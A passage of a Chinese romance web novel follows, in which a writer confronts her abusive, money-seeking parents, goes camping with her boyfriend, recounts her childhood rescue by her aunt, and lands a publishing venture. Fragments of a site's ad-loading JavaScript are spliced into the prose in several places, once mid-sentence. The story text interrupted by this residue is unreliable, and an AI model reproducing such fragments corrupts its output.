“裴凝,我们生你养你一回,你认个外人当妈,连自己亲妈都不要了?” 说完,觉得不解气,又补了一句: “裴悯给你下什么药了,让你这么丧良心。” “你说什么呢?” 井稚的声音从人群里传出,裴凝还没反应过来,就见他长腿一迈,挡在了自己面前。 他听起来很气愤,说出的话都带着火星。 赵莹看看两人,视线绕过井稚,问道:“盼盼,这是谁?” 裴凝这才注意到周围已经围了好大一圈人,原本安静柔和的书店,此刻充满了市侩的低语。 她拽拽井稚,示意他站到自己身后。 “裴宁海,你不要脸,我还要呢。”裴凝的声线逐渐平稳,“这里是什么地方,也是你们能来的?” “不就是个书店吗?” “对啊,书店最怕的就是你们这种蛀虫。” “你!” 裴宁海面目狰狞起来,裴凝意料之中地笑了笑,他果然藏不住他的嘴脸。 “想找我是吗?好啊,我们出去找个地方,我正好也有些话,想跟你们说。” 井稚一听,担心地拽住裴凝,跨到她身前,摇了摇头,示意她别去。 虽然他不清楚现在是个什么情况,但他知道,裴凝会受伤。 “没事。” 裴凝小声安慰,冰凉的手按了按他的手背,轻轻用力,挣脱开他的束缚。 井稚还是不放心,他焦急道:“那我陪你一起去。” 裴凝依旧拒绝。 “不用,井稚。这是我自己的事,我能处理好。” 井稚显然不相信。 看着他执意坚持的眼神,裴凝软下声音:“我到了地方给你发位置,你一个小时之后来接我,好吗?” 井稚还想再说什么,可他看出裴凝决心已定,知道无论如何,他也改变不了她的决定。 所以他让开些,即使神情担心,但不再阻拦:“好。那你注意安全。” - 周末的咖啡厅很热闹。 角落一桌的对话掩藏在熙攘人声中,并不引人注意。 “直说吧,你们到底来干什么?” 裴凝抱臂靠在椅背上,一动不动地盯着对面的人。 还是赵莹先开口:“我们就是想来看看你……” “别放屁了,二十多年没想着看,现在想起来了?”裴凝直接打断赵莹的假惺惺,“不就是缺钱了吗?” 被戳破蹩脚的客套后,裴宁海显然放松了许多。 “你长这么大了,给过家里一分钱吗?我们找你要钱不对?” 裴凝冷哼:“真好意思,你们给我花过钱吗?” “怎么没花过?没有我你能活?” “那我还得谢谢你是吗?” 裴宁海“啪”地一拍桌子,猛站起来,大声吼道:“怎么说话呢!” 整个咖啡厅的人都看向他们。 裴凝不为所动。 她的整个童年,裴宁海都是这么跟她说话的。 她已经习惯那种压迫感带来的恐惧了。 “我怎么说话?你不说人话,还指望我说什么好听的吗?”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “哎呀,别吵,别吵,”赵莹也还和以前一样,假意当着和事佬,“老裴,这么多年没见闺女,你说点好的,别老钱钱钱的。” 见赵莹给了台阶,裴宁海也就顺着坐下。 “我们是关心你,所以来看看你过的怎么样。” “如果我们彼此都能当对方死了,我会过得很好。” 裴凝面无表情。 裴宁海气得说不出话来,只能赵莹继续打圆场:“盼盼,你也别气你爸了,他是最惦记你的,费了好大劲才打听到你的消息呢。” 裴凝都懒得接话了,冷静地看着他们表演。 “你弟弟也想来的,”赵莹斟酌着开口,眼神不时瞟着裴凝的表情,“但他最近忙着创业,太忙了,实在来不了,让我们给带个好。” 终于说到正题了。 裴凝拿眼一睨,然后便转开视线。 他们的嘴脸看多了,裴凝直犯恶心。 “你知道吧,现在的年轻人,都好闯。不过你弟弟最近好像碰上了什么事,也不肯跟我们说,你说我们这当爹妈的,心里干着急……盼盼,要不我把小致的联系方式给你,你和他聊聊?你们是同龄人,肯定说得来。” 裴凝冷嘲热讽道:“快得了吧,小时候你们不是说就是我挡了你们生儿子的气运吗?我别再把你们宝贝儿子的财运也挡了。” “那都是我们那时候不懂,瞎说的。” 赵莹想着办法找补,思来想去,打起了感情牌。 “其实比起父母,姐弟之间才是最亲的!以后万一我们没了,你们之间得互相照应啊,盼盼,你怎么对我们都行,可千万别和你弟生分了。” “生分什么生分?没感情哪来的生分?我走的时候他才两岁,你问他记得我小时候长什么样叫什么名吗?” 裴凝真懒得听赵莹的废话,直截了当道:“我知道你们是来干嘛的,但想都别想,我的钱你们一分也拿不走。你们最好是从哪来,回哪去,否则我只能报警告你们跟踪骚扰了。” 裴宁海又急了:“父母看孩子,算什么跟踪?” “都不在一个户口本上,扯什么父母孩子的。那要不要再打个官司来探讨一下父母的抚养义务问题啊?” 裴凝不耐烦地看了眼时间,估摸着井稚也快到了。 “还有,裴宁海,我奉劝你一句,”裴凝翻过手机,眼睛盯着裴宁海,“你活都快活够了,别天天窝囊得只会回家打老婆孩子,有什么话,自己长了嘴自己说,总推给她,你也真有本事。” 大费周章地找她要钱,赵莹是绝对想不到这种主意的。裴凝知道,一定是裴宁海甚至裴致出谋划策,哄骗赵莹这个一辈子没脑子的人来当枪。 楼下响起两声鸣笛,裴凝低头看去,井稚正靠在车上冲她招手,手机上同时弹出他的消息。 裴凝起身,俯视着裴宁海。 “裴家欠我和我妈的,如果你们不打算拿一辈子来还,就麻烦像死了一样安静,永远别再出现在我们的生活里。” 裴宁海神色阴狠,啐了裴凝一口,然后用尽全身力气般,一字一句道:“操你大爷的。” 裴凝平静回应。 “操你大爷的。” 16. Chapter 16 入秋后,路边树木的叶子稀疏许多,枝丫间尽是蓝白的天空,和掠过飞鸟的剪影。 裴凝裹紧粉蓝色的针织开衫,把身子往车座里缩了缩。 井稚余光瞥见,将最后一点车窗缝隙也合上。 “不回书店吗?” 裴凝看着行驶方向逐渐偏离,说了上车之后的第一句话。 “不回,带你去个地方。” 井稚没有多说什么,裴凝身心疲惫,便也懒得问。 两人一路沉默地驶离主城区,城市的吵闹声渐弱,他们一直开到了城郊边界。 车子终于在一片林子外停下。 裴凝在青城生活多年,只知道这里有一片松树林,但几乎没有来过。 她看着给她打开车门的井稚,用眼神询问他:来干嘛? “我们在这露营吧。” 裴凝想起来,露营也是备忘录上的一件事。 “这么心血来潮吗?” 井稚一脸傲娇,没说话,拽着裴凝走到车后。 等打开后备箱后,裴凝觉得,他好像也不是那么心血来潮。 满满当当的帐篷、天幕、睡袋、折叠桌椅、烧烤架、卡式炉、餐具、零食……一股脑地出现在眼前。 裴凝承认,她是真的有些震惊了。 “你什么时候准备的?” “就你走了之后,我回家取的。” “全部都是?” “全部都是。” 井稚眼睛里的小骄傲快溢出来了。 裴凝终于露出一点笑容。 “真厉害呀,井老板。” 得到夸奖的井稚,尾巴快要翘上天,霸道地把裴凝往旁边一拽,自己搬出露营车来,吭哧吭哧往里装东西,结果动作太急,猛地一起身,差点摔个跟头。 裴凝无奈,跟上去帮忙。 二十分钟后,两人带着全部装备,选好了扎营点。 “井稚,我得先告诉你,我没有露营过。” “没关系,我露过!” 裴凝抬头看他:“所以你知道这个帐篷怎么扎咯?” “当然……”井稚脱口而出,然后在裴凝审视的眼神中逐渐心虚,“我们可以看说明书嘛。” 井稚确实露过营,但都是上大学的时候和同学一起去的,他一直负责烧烤做饭的环节,搭帐篷什么的,他还真没做过。 这套装备当年买来是准备和朋友出去玩用的,结果毕业上班了之后,大家好像再也凑不出一起出门玩的时间了,所以一直闲置在家里,他拆都没拆过。 裴凝听懂了井稚的画外音,没再多问,利索地翻出说明,开始研究。 好在裴凝的理解能力和动手能力都非常不错,即使带着手忙脚乱的井稚,也没出太大差错,顺利地搭起帐篷,架起天幕,划出他们的一小片天地来。 这片林子这两年被开发为露营圣地,即使天气转凉,依旧有不少三五成群的朋友或者家庭在这里玩。 空气里飘着混杂在一起的烧烤香、饭香,原本因为心情差而没什么胃口的裴凝,也感觉有些饿了。 正好井稚点的食材外卖送到,他娴熟地整理出一片烹饪区,很明显找回了自信,处理食材、起火、烧烤、调料一气呵成,动作丝滑流畅,和方才扎个钉子都要返工两回的他判若两人。 裴凝就坐在井稚面前,托着下巴看他。 井稚是有些倒三角的,从下而上的角度看更明显了。宽肩窄腰,个子又高,翻起衣袖露出的小臂紧实有力,露出明显的青筋,格外诱人。 对着面前健康有形的身材,裴凝却难得地集中不了精神。 见面之后,关于今天的事,井稚一句都没有问裴凝。裴凝明了井稚带她出来玩的心意,但不提、不说,并不能让她不想起。 反而,身处如此恬静祥和的环境,让刚刚从一场水深火热中脱离的裴凝,产生了更加强烈的割裂感。 “想什么呢?” 井稚端着新鲜热乎的烧烤走过来,拽回了裴凝的神。 裴凝摇摇头。 美食无罪,井稚盘子还没放下,裴凝就拿起一串羊肉,直接往嘴里塞。 “哎,烫。” 话说出口时,裴凝已经被烫得使劲吹气了,舌头在口腔里翻滚,火辣辣的感觉直燎到嗓子眼。 井稚拿来一瓶冰可乐,拉起拉环,换过裴凝手里的羊肉串。 “慢点呀。” 裴凝顺从地点头,拿起方才那串,眼睛盯着上面的孜然调料,仔细地吹气。 井稚嘱咐完她,继续去看他的火。 又送来两次烤好的东西,裴凝见井稚还要去忙,伸手拽住他裤子,仰头请求道:“别烤了,陪我待会儿吧。” 井稚原地转身,听话地坐下。 裴凝笑笑,在盘子里挑了一串最饱满最好看的牛肉串,递给井稚。 “喏。” 她胃口不佳,已经吃得差不多了,此时就专心致志地看着井稚吃,他吃完一串,裴凝就再递一串。 直看得井稚身上发毛,鲜美牛肉入口也快不知道什么滋味了。 “干嘛这么看我。” 井稚放下签子,别扭地挠了挠头。 “井稚,你为什么这么会做饭?” 裴凝没有回答,反而问了个八竿子打不着的问题。 “啊?就是,喜欢吧。” “哦。”裴凝点点头,“换你问了。” “……问什么?” “随便呀,我们一人一个问题怎么样,类似于……情侣相性一百问?” “这么突然吗?”井稚没跟上裴凝的节奏,但还是乖乖提问,“你是哪个大学毕业的?” “……不是这么问的。就问你想要了解我的地方,什么都可以。” “那……你谈过几次恋爱?” “正式恋爱的话,算上你,四次。”裴凝如实回答,“你呢?” 井稚笑起来:“你是我第一个喜欢的人,也是我第一个女朋友。” “……这事有这么值得高兴?” “当然!我第一次喜欢的人就是我最喜欢的人,这还不够幸运、不值得高兴吗?” 裴凝张了张嘴,想说什么,但最终还是没把话说出口。 她很想告诉井稚,当下觉得最喜欢的,未必以后还这么觉得。 “裴凝,我没谈过恋爱,有什么事,你可以教我,但不许嫌我幼稚。” 井稚郑重其事地看着裴凝。 “我不会的,”裴凝答应道,“你也别嫌我油嘴滑舌,有时候习惯了就爱随口调戏你。” 井稚“哼”了一声:“该我问了。你喜欢我什么?” 这个问题有点难,因为裴凝没想过。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >她喜欢井稚什么? 估计是喜欢……他接吻很认真吧。 “喜欢你可爱。” 这是喜欢他接吻很认真的委婉说法。 “没了?” “没了。” 井稚有点失望。 “那你喜欢我什么?” “我喜欢你:独立,开朗,看起来很成熟但实际很幼稚,能力很强,小说写得好,想做什么都敢去做,洒脱,随性,善良,对井小二刀子嘴豆腐心,衣品很好……” “等会儿,”裴凝打断井稚停不下的话头,“衣品很好也算?” “当然,你的穿搭能让我心情愉悦,怎么不能算。” 井稚有理有据。 裴凝扶额:“好吧,那换我问。你最幸福的一件事是什么?” 这简直是送分题。 “废话,当然是遇见你啊。” “你不要回答得这么快,是最幸福的事,只能从你二十五年的人生经历里选一件的那种,你好好想想再说。” 井稚满脸写着多此一举,但还是托腮状似思考了下:“最幸福的事,就是今年的6月15日,我在回家路上遇到了裴凝。” 裴凝一脸无奈。 “你呢,你最幸福的事是什么?” 裴凝顿了一下,没有回答。 沉默了一会儿,她摇摇头。 她想不出来。 幸福的事是挺多的,但最幸福……这个词好像没有在裴凝的生活里出现过。 “不可能吧,你就没有什么一想起来就很开心的事吗?我一想到你就笑个不停。” “如果非要说的话……大概是小时候,离开家的那天吧。” 但那也谈不上幸福,顶多是麻木后的再一次希望,一种被救赎感。 井稚感觉自己问到了不该问的,很快噤声,神情有些做错事般的紧张。 裴凝不甚在意地摸摸他头:“下一个问题:你最不幸的事是什么?” “最不幸的事……应该是,我大学的时候,我爸偷偷把我最喜欢的摩托车卖了吧。” 井稚边思考边回答。 “你还会骑摩托呀?” “嗯,以前很喜欢骑的。但是因为骑那辆摩托出过一次很严重的车祸,我爸不想让我再骑了,就给我卖了,我当时为了修车还费了好大功夫呢。” “那现在怎么不见你骑了?” “玩摩托确实挺危险的,虽然我很生气我爸私自卖我的车,但我也不想一直让父母担心,后来就很少骑了。” 裴凝了然地点头,确实像是乖小孩井稚会做出的选择。 等了一会儿,见井稚不开口,眼神有些犯难,裴凝便主动道:“你怎么不问我最不幸的事是什么?” 井稚没有说话。 他不敢问,因为他对裴凝的事一点都不了解,他生怕问错了,把裴凝惹得伤心难过。 裴凝瞧出他的心思,无所谓道:“井稚,你问我吧。” “问什么?” “问我的故事。你不想听我的故事吗?” 井稚还是犹豫。 “可以问吗?” “可以。” 裴凝将椅子与井稚拉近了些,膝盖和他的碰在一起,几乎脸贴脸地看着井稚的眼睛。 “我很少对别人说的。”裴凝小声道,“但我想对你说。” 17. Chapter 17 裴凝一直觉得,她的不幸是从出生那天开始的。 她被迫地来到这个世界,然后被那两个赋予她生命的人,不负责任地抛弃。 当然,这种抛弃并不是字面意思上的把她扔掉,而是欺辱她、压迫她、无视她。 一种更深层含义的,事实上的抛弃。 一切都源于裴凝出生前,那个来家里算卦的大师,说她会是个足斤足量的大胖小子。 据说那大师当时手舞足蹈,说得有鼻子有眼,把这个大胖小子未来能当大官、挣大钱、活到八十岁都算出来了。 裴凝小时候在家里看见过那大师留下的符文,说是保母子平安的,上面甚至还有几个英文字母。 就是这么离谱的骗子,裴宁海却花了大价钱欢送人家。 裴宁海不傻,他知道这狗屁大师不过是招摇撞骗,但话说到他心坎上了,他高兴,所以他就要给他的宝贝儿子花钱。 他根本不是因为大师的话才相信是个儿子,而是打赵莹怀孕起,甚至更早,他的心里就没有家里会有个女孩的选项。 可想而知,裴凝出生的那一天,裴宁海的天,塌了。 转变来得很快,同样天塌了的还有赵莹。 那时的裴家家底还没被裴宁海败完,条件算是不错,赵莹自从被大师算出怀了个儿子,就过上了众星捧月的生活,手不沾水、脚不沾地,衣食住行都有人伺候。 而裴凝的到来,让赵莹连坐月子都没人照顾过一天。 裴凝有记忆起,从来没见裴宁海笑过。他对他们娘俩,能骂则骂,能打则打,连出门踩了狗屎都要赖在裴凝头上,说她是个女孩,挡了他的运气。 赵莹一开始还护着裴凝,想着毕竟是自己身上掉下来的肉,怎么也得养活,可渐渐的,丈夫的暴行让她崩溃绝望,她发泄的出口,便是将这种不幸怪在裴凝身上。 所以赵莹不幸,裴凝更不幸。 她是真正的爹不疼娘不爱。 裴凝小小年纪便被迫学会自理,养成了怯懦自卑的性格,从没有一个朋友,每天的生活就是挨打挨骂,然后从父母的视线里消失,毫无童年可言。 她在裴家人眼里,只是“盼盼”,一个盼着儿子到来的代号。 这样的日子一直持续到了裴凝四岁。 那年,赵莹怀上了裴致。 她体质弱,生完裴凝后的月子又没养好,很难才怀上第二个孩子,大夫说能再怀上已经是奇迹,这可能是她最后一个孩子了。 所以赵莹那段时间天天烧香拜佛,虔诚祈祷着,这回可一定是个男孩。 十月之后,她如愿了。 裴致的出生给裴家带来了活力,爷爷奶奶抱着孙子不撒手,裴宁海给赵莹雇了月嫂,买了金银珠宝,全家上下都处在兴奋激动的情绪中。 除了裴凝。 有了裴致后,裴凝连被怪罪的那点关注都没了。 家里做好饭,经常忘记叫她;全家一起出门玩,说都不说便把她锁在家里;过年过节,还不到一岁的裴致收到大红包时,裴凝只能躲在屋里,给自己画一张红色的票票。 到了该上学的年纪,要不是街道来催,都没有人惦记着给她办入学。 但裴凝实际也没上几天学,家里三天两头给她请假,因为裴致两岁了,赵莹身体不好,照顾着太累,需要裴凝忙前忙后,照顾弟弟。 裴凝从来没有说过什么,因为她习惯了。 她听了太多恶言恶语,所以她很小便坚信,自己的出生是个错误。 本以为七岁也会这样一如既往地度过,但突然有一天,那个她从没见过的姑姑,回来了。 裴凝只在大人的只言片语中听说过这个姑姑。 他们说,她是个离经叛道的,小小年纪便离家出走,从此再也没有回来,是裴家养出的白眼狼。 裴家不认她,也很少提起她。 可裴凝第一次见到裴悯的时候,从门缝里偷偷看去,觉得这个传说中的姑姑,不像他们说的那么不堪。 她穿着赵莹从来不会买的时髦风衣,背着外国牌子的包,烫着棕红色的大卷发,看起来洋气极了。 她眼里的神采飞扬,和裴家格格不入。 裴悯在裴家大吵了一架,具体说了什么,裴凝听不太懂,只听到一些“混蛋”、“畜生”、“死性不改”之类的话。 裴悯骂人的时候,连磕巴都不打,丰富的词汇混着脏话珠子一样往外蹦,怼得裴宁海毫无还口机会,甚至都要动起手来。 总之,裴家的世纪大战后,裴悯带走了裴凝。 裴悯对她说,从此以后,她与裴家再无瓜葛。 - 后来裴凝发现,裴悯其实是个很温柔的人。 她的温柔,来自于她内心深处的坚韧与刚毅。 裴悯的童年与裴凝如出一辙,不同的是,那时候裴家的生意还没发展起来,她很小便辍学了,被迫打工供养弟弟。 其实不是连学都上不起,只是裴家觉得女儿从出生起就是赔钱货,还不如省一点是一点,上学有什么用,最后不是还得给别人家生孩子。 十六岁,裴悯逃了。 她文化不高,靠做零工养活自己,虽然苦,但她终于拥有了自己的天空。 后来,裴悯找了工厂里会读书识字的财务姐姐,靠下班时间在她家洗衣做饭,换得一个学习的机会。 裴悯是有灵气的。因为喜欢读书,她二十二岁,开始自己尝试写作,二十三岁开始投稿,二十五岁赚到了第一笔稿费,从工厂宿舍搬出来,租了一间自己的小屋。 再后来,裴悯的作品越写越多,三十岁开始全职写作,两年后便获得了全国大奖,这个名字变得响当当,成了最年轻、最优秀女作家的代表。 也是那年,裴悯带走了裴凝,开始了两人一屋的生活。 裴悯从没有教裴凝要做什么、要成为什么样的人,她唯一教给裴凝的是,要自由地活着。 这也成为了裴凝的人生信条。 后来,裴凝因为性格内向,被学校的坏小子故意绊倒欺负,摔得掌心全是血时,她第一次鼓起勇气,给了那小子一个血巴掌。裴悯在学校挨完老师和对方家长的骂,回家对裴凝说,脸都没打肿,下次再狠点。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 再后来,裴凝拒绝同班男生的表白,被对方气急败坏地在班里大骂是没爹没妈的孩子时,她云淡风轻地瞥他一眼,说总比你有人生没人教养强。裴悯看着被罚回家停课反省的裴凝,说天气不错,咱去旅游吧。 再再后来,裴凝上着大学学着金融,突然说自己以后想写小说挣钱,不想上班当社畜时,裴悯在电话那边也只回了两个字:随你。 裴凝一直都很佩服裴悯能用最温柔的表情说着最不羁的话。 某一天,裴凝对裴悯说,你太酷了,当我姑没意思,你当我妈吧。 一辈子未婚未育的裴悯看着眼前突然多出的大闺女,依旧惜字如金:都行。 所以,裴凝一直觉得,她的不幸是从出生那天开始的。 但她也觉得,她的幸运,是从七岁,见到裴悯的那一刻开始的。 - 裴凝讲完故事的时候,天已经快黑了,晴空万里,能看到几颗耐不住性子提前冒出来的星星。 她讲得嗓子有些发干,低下头来去拿水的时候,才发现,井稚的一双小狗眼红通通的,一动不动地看着她。 那眼里有盛不住的泪花,在裴凝看向他的时候,垂了一滴,滑到脸颊。 “怎么还哭了?” 裴凝凑近井稚,微凉的手捧住他脸侧,拇指指腹轻轻擦拭着他的眼下,带走些许湿润。 裴凝还从来没有因为自己的这些事哭过。 可能是觉得井稚的反应太新奇了,她竟也被感染得有些鼻酸。 井稚没有说话,只是一把将裴凝拽过,紧紧拥在怀里。 他无法形容那种难过。 他甚至开始怪罪他从不相信存在的神明,为何不让他早点遇到裴凝。 为何让他错过她的孤立无援。 怀中温热开始微微地抖动,井稚怔了一下,转瞬,抱得更紧。 裴凝的脑子还很清醒地在想要安慰井稚,眼泪却已决堤而出。 她反应不及,控制不住。 她就这样突然迎来了,迟到二十余年的一场痛哭。 裴凝的坚强外壳早已与她的肉身连成一体,这样卒然击碎,牵出连血带肉的伤口,她痛得受不了。 她止不住地流泪,止不住地喘息,身体不停地往井稚怀里缩,还是觉得痛。 她听到耳边杂乱的心跳声和自己的抽泣声混在一起,没有章法,只让人晕眩。 很久,很久,直到氧气告急,裴凝才抽出一点身子来,在井稚的胸膛里汲取一刻呼吸。 井稚的手抚摸着她的头发,缓慢地,轻柔地,像要抚平时针转动的刻痕。 她听到井稚的声音从头顶传来。 “对不起。” 裴凝吸吸鼻子,想问,为什么说对不起。 他下一秒就回答了她。 “我来晚了。” 原来爱一个人,就是会悔恨自己为什么没有参与她全部的人生。 哪怕只能旁观,也强过听她平静旁白时的无力与绝望。 再早一点遇到就好了。 再早一点,让你幸福,就好了。 18. Chapter 18 裴凝的情绪一向恢复得比常人快。 所以当她已经重归平静,甚至觉得哭饿了想再来点串的时候,井稚还在一旁抽抽嗒嗒,独自黯然神伤。 “好啦。” 裴凝最终还是安慰起了因为自己的伤心事而过分伤心的井稚。 井稚抹了把脸,没擦净,又使劲呼噜了好几下,然后才抬起水汪汪的眼睛:“你还想吃什么,我给你做。” 裴凝笑着摸了摸他脑袋,摇摇头。 “你要是不饿的话,把剩的这些热热我们吃了吧,不用做新的了。” 吃饱喝足之后,天彻底黑了下来,下午吵了一大架耗费大量精力的裴凝,有些犯起食困。 “有保暖的东西吗?我想躺一会儿。” 井稚翻出睡眠用品,在帐篷里给裴凝搭好,掀开帘子朝她招手。 裴凝钻进睡袋,身体在接触到柔软的垫子后,愈发地沉。 她睡眼朦胧地抬头看向坐在一旁的井稚。 “你不睡会儿吗?” 井稚不知道为什么看起来有点紧张。他别扭地扭过头去,假装咳嗽了一下:“你先睡吧,我去收拾东西。” 裴凝没有多想,很快合上眼睛。 - 裴凝说不清自己是被冻醒的,还是被呜呜撞在帐篷上的风吵醒的。 她头有些痛,眼睛睁开一半,只亮了小黄灯的帐篷内有些昏暗,她缓了一会儿才适应。 首先闯进她视线的,是面前均匀呼吸的井稚。 他与她面对面侧躺着,长长的睫毛搭在眼睑上,随着呼吸轻轻起伏,嘴唇轻抿,似乎在做什么梦。他的头发最近有些长了,难得垂下来些,看起来乖得很,像顺毛的大狗狗。 裴凝很想多欣赏一会儿这样难得安静的井稚。 但是她太冷了。 她实在欣赏不下去了。 “井稚。” 刚刚睡醒的声音有些哑,井稚没有动静,裴凝又唤了两声。 “井稚,井稚。” 对面的人终于掀开一点眼皮。 “怎么了?” “冷,井稚。” 井稚迷迷糊糊地翻身起来,钻出睡袋,找了找神:“我看看还有没有什么保暖的东西。” 他走出帐篷,裴凝听见好一阵鼓捣的声音。 声音停了之后,井稚又出现在眼前。 “好像没有了。”他不好意思地摸摸鼻子,“今天夜里有点风,我看在这过夜的人也不多。” “是吗?那看来很难在帐篷里睡了。” “嗯。不好意思啊,我没什么露营的经验,功课没做好。” 裴凝宽慰地笑笑:“没事。” 裴凝拿起手机看了眼时间,已经十一点多了。 左右也清醒了,她与井稚商量着今晚的安排:“要做什么吗,还是回去?” 井稚有些苦恼。 这样冷的环境,肯定不能让裴凝在这里过夜,但他们约好了明天一起看日出,就这样回去,太可惜了。 想了一会儿,他恍然道:“我车上可以看电影,要不,我们在车里凑合一夜?” 裴凝听到某些关键词,本能地挑了挑眉。 还有这个环节吗? “好啊。” 她欣然答应。 怪不得今天停车的时候,井稚特意停在了一个人都没有的隐蔽角落。 昨天看他跑那么快,裴凝还以为他害羞。 没想到这小子玩挺野啊。 果然,成年人的夜生活,都是从现在才开始的,裴凝想。 但是—— “你看,副驾驶这个座位能放下来,躺在上面睡正好。你要是睡得不舒服,就睡后面,我在前面挤挤就行。” 裴凝看着井稚一边介绍,一边积极地给她展示他车子的优秀设计。 “就……单纯地,睡觉吗?” 裴凝忍不住打断他。 “对啊,不然呢?” 井稚一脸疑问。 “……没事。”裴凝叹气,“上车吧。” 车里空调开得很足,即使开了一点窗户通风,裴凝的身体也很快暖和起来。 她点了个合家欢的喜剧电影,想认真沉浸在情侣、深夜、在无人的小树林里、坐在车上看电影这件纯粹的事情中。 但是,太难了。 裴凝又困了。 她裹紧睡袋,脑袋靠在颈枕上,越来越沉。 “困了吗?” 井稚暂停电影,轻声问道。 裴凝点点头。 “睡觉吧,我定时起来关空调。” 裴凝还想点头,但脖子已经撑不住困意,缓缓倒在一旁。 隐隐约约地,她感觉井稚亲了她一下。 “晚安。” - 裴凝是被方昀游的电话叫醒的。 她看清来电人后,努力清醒过来,清了清嗓子。 看了眼旁边还没醒的井稚,裴凝接起电话,压低声音:“喂,您好。” 方昀游顿了一下:“裴老师,你现在方便吗?” 裴凝想挣脱出睡袋到车外去接电话,可能是不小心碰到了井稚,他起了起身,看着裴凝。 裴凝索性应下:“方便,您说。” 她打着手势跟井稚说接个电话,井稚无所谓地摆摆手,示意她在车上说就行。 “顾总想跟您通个话,要是方便的话,我把您联系方式给她,一会儿她会致电您。” “好。” 睁不开眼的井稚听到裴凝挂了,随口问:“谁呀?” “方昀游。” 井稚立刻精神,警觉地看着裴凝。 “他怎么又给你打电话?” “说顾总找我,问我方不方便。” 井稚怏怏地重新躺下,对于一早醒来就听到方昀游给裴凝打电话这件事,表示很郁闷。 以前没在一起也就算了,现在裴凝是他女朋友,她身边的一切异性都变成了井稚的假想敌。 该死,裴凝怎么那么有魅力! 他好没安全感! “不过,现在几点了?” 裴凝重新拿起手机来看。 然后发出惊呼: “九点了?!” 怪不得方昀游给她打电话,现在已经是上班时间了。 “九点怎么了?” “日出呀,没看到!” 一提起这个,井稚就来气。 “你还敢说日出!”井稚无语极了,鼻子里喘着些粗气,“我定了闹钟叫你,怎么叫都叫不醒!要不是看你还喘气,我都以为你睡噶过去了!” “……啊?” “我就没见过睡这么死的人!服了!” 裴凝略含歉疚地看他一眼。 她确实是比较能睡嘛。 “没关系,你看到就可以了嘛。” 井稚“哼”了一声,拿出手机来。 “喏,我都给你拍下来了。” 他把视频递到裴凝眼前,然后微微仰着脑袋,抱着臂看她,坐等夸奖。 “哇,拍得真好。”裴凝很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有眼力见地夸赞道,“这算是我们一起看的第二次日出了。” 今天的日出比起上次海边,要更清透、更耀眼,即使经过摄像头的折损,裴凝也能感受到那种明日初升的震撼。 井稚开心了些,没再拿鼻孔冲着裴凝。 “哼,一会儿发给你。” 铃声再次响起,裴凝把手机还给井稚,很快接起来。 “您好?” “裴小姐,您好,我是顾青山。” “顾总,有什么事吗?” “是的,我来通知您上次面试的结果。” 裴凝心想,这公司这么绝吗,拒人还得大老板亲自来? 难不成还要评价一下她们的面试表现吗? 她已经开始感到羞耻了。 “您说。” “裴小姐,欢迎你和朱小姐加入逐日。”顾青山顿了一下,又道,“应该说,欢迎你们加入破晓。” 裴凝脑子里还在措辞怎么简单感谢一下然后就赶紧挂断这尴尬的电话,蓦然一听到顾青山的话,她完全没反应过来,直接脱口而出: “……啊?” 顾青山在那边轻笑一声:“有什么问题吗,裴小姐?” “问题……不是,顾总,您的意思是,我们过了吗?” “是的。” “可是那天您很直接地指出了我的问题……我以为我们失败了。” 而且是非常一针见血地、让裴凝毫无反驳余地地,点明了她们所准备内容的混乱性。 “作为商人,您和朱小姐的汇报确实不够全面。但我并不是想要一个会做生意的人,我看中的是您作为行业从业者,对于行业存在问题的敏锐性,以及愿意破局的勇气。至于做生意,我这里多得是人才,会帮你们走上正轨的。” 顾青山之前面试了那么多人都不满意,就是因为他们完全把自己放在一个商人的位置上,来规划公司的未来。 只有裴凝,她是真真切切从创作者角度出发,想要改变和突破,这才是顾青山想要的。 “您容我缓缓,这个消息有些突然。” 裴凝抚着胸口道。 “好。我一会儿还有个会,那你先听我简单说几个重要的事,具体情况后续会由项目组和你们对接。” “好的,您说。” “第一,你和朱小姐的职位分配。我的建议是裴小姐担任公司主理人,朱小姐担任总编辑,从二位的专业性角度来说,这样安排可能是对公司最好的选择。当然,只是建议,具体的,你们定; 第二,公司选址问题。我可以提供两种选择:一是直接在首城我们自己单独的办公楼;二是在青城租一个合适的地方,公司出钱,但要辛苦二位跑腿。首城是中心城市,但比不上青城的年轻化发展,两个城市各有利弊,还请尽快定夺; 第三,公司人员组成。成立初期,我会从逐日总部调一些人手过去帮你们,如果后期你们不需要,我再把人撤回来,这部分人员不需要你们开工资,还请放心; 最后,裴小姐如果有正在创作的作品,可以直接与我们洽谈好的出版社联系,您的作品包括以后签约作家的作品,只需由总编辑定夺,不需要提交总部。正常情况下,总部不会对你们的公司发展做任何干涉,以后所有的事务就劳烦二位多多费心了。” 裴凝听到顾青山这样详细的叙述,才终于有了一点实感。 “谢谢顾总,我们会尽快开始的。” 顾青山从容道:“不,应该是我谢谢你们。我很在乎这个项目,谢谢你们实现了它。” 19. Chapter 19 裴凝和朱情商量后,一致认为青城作为她们长期生活的地方,更适合创业,所以最终决定将破晓落在青城。 当然,其中少不了井稚的软磨硬泡。 虽然他尊重裴凝的选择,但该做的努力还是要做的,他可不想刚在一起就过上异地恋的苦日子。 但是…… 现在的状态,不是异地恋,胜似异地恋。 在一起之后,两人只约会了一天,井稚就再也约不上裴凝了。 同住一栋楼,原来一天三见,现在三天一见。 进入工作状态的裴凝,强得可怕。每天不是在跑图选址,就是在开会,要么就是在跑图选址的路上开会。 井稚怀疑她根本都不睡觉的。 没办法,没有机会见面,井稚就只能自己创造机会。 于是: 裴凝没时间做饭——井稚□□; 裴凝抽不出身取资料——井稚自愿跑腿; 裴凝又要开电话会又要赶路——井稚直接变身全职司机。 …… 他主打一个不怕苦不怕累,哪里需要往哪搬。 总公司派来协助的人前来报到的日子到了,但到达时间正好和签办公楼租用合同的时间撞上。裴凝和朱情决定分头行动,朱情去签合同,裴凝去接人。 当然,编外人员井稚依旧自告奋勇充当司机。 站在机场出口,裴凝正要啃一口早上剩的面包当午餐,就被井稚眼疾手快地拿掉。 “又吃面包!胃不要了!” 裴凝这些天三天两头胃疼,井稚又气又心疼,决心要把裴凝家的速食产品全给吃了。 “给,吃这个。” 